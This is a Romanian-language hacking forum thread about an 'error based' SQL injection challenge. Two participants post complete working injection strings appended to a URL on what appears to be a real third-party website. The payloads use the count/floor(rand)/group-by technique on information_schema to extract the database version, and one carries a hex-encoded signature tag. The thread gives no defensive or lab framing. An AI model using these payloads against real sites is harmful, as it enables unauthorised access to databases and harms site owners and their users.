.darky Posted February 5, 2014 Report Share Posted February 5, 2014 (edited) - Edited May 15, 2018 by .darky Quote Link to comment Share on other sites More sharing options...
AsalT Posted February 5, 2014 Report Share Posted February 5, 2014 Quote Link to comment Share on other sites More sharing options...
Active Members dancezar Posted February 5, 2014 Active Members Report Share Posted February 5, 2014 (edited) // Edited February 5, 2014 by danyweb09 Quote Link to comment Share on other sites More sharing options...
lehelke Posted February 6, 2014 Report Share Posted February 6, 2014 Cum naiba sa aflu siteul daca il criptezi Quote Link to comment Share on other sites More sharing options...
.darky Posted February 6, 2014 Author Report Share Posted February 6, 2014 Cum naiba sa aflu siteul daca il cripteziDecripteaza-l. Quote Link to comment Share on other sites More sharing options...
Amad Posted February 6, 2014 Report Share Posted February 6, 2014 Prin blind nu putem face? Error based inca nu am dat de cap Quote Link to comment Share on other sites More sharing options...
.darky Posted February 6, 2014 Author Report Share Posted February 6, 2014 Prin blind nu putem face? Error based inca nu am dat de cap Nu. E musai sa fie error based. :> Quote Link to comment Share on other sites More sharing options...
.darky Posted February 7, 2014 Author Report Share Posted February 7, 2014 CHALLENGE CLOSED!This challenge is for now, closed. Any reply/private message about it will not be considered. Quote Link to comment Share on other sites More sharing options...
Shelo Posted February 10, 2014 Report Share Posted February 10, 2014 Tot ca s-a terminat acest challange am terminat mai tarziu , am spus sa va public syntaxa facuta de mine http://www.mangaldeep.co.in/news1.php?id=3 and (select 1 from (select count(*),concat((select(select concat(0x3c666f6e7420636f6c6f723d2223333338303030223e5368656c6f203c2f666f6e743e,cast(version() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) Quote Link to comment Share on other sites More sharing options...
Active Members dancezar Posted February 10, 2014 Active Members Report Share Posted February 10, 2014 Tot ca s-a terminat acest challange am terminat mai tarziu , am spus sa va public syntaxa facuta de mine http://www.mangaldeep.co.in/news1.php?id=3 and (select 1 from (select count(*),concat((select(select concat(0x3c666f6e7420636f6c6f723d2223333338303030223e5368656c6f203c2f666f6e743e,cast(version() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)Scuze da sintaxa aia nu e facuta de tine este folosita de tineUite si sintaxa folosita de minehttp://www.mangaldeep.co.in/news1.php?id=3 and @a:=1 LIKE(select @a from(select count(@a),concat((select concat(0x3a,@@version,':danyweb09::')),floor(rand(0)*1337))sele from information_schema.tables group by sele)plm) Quote Link to comment Share on other sites More sharing options...
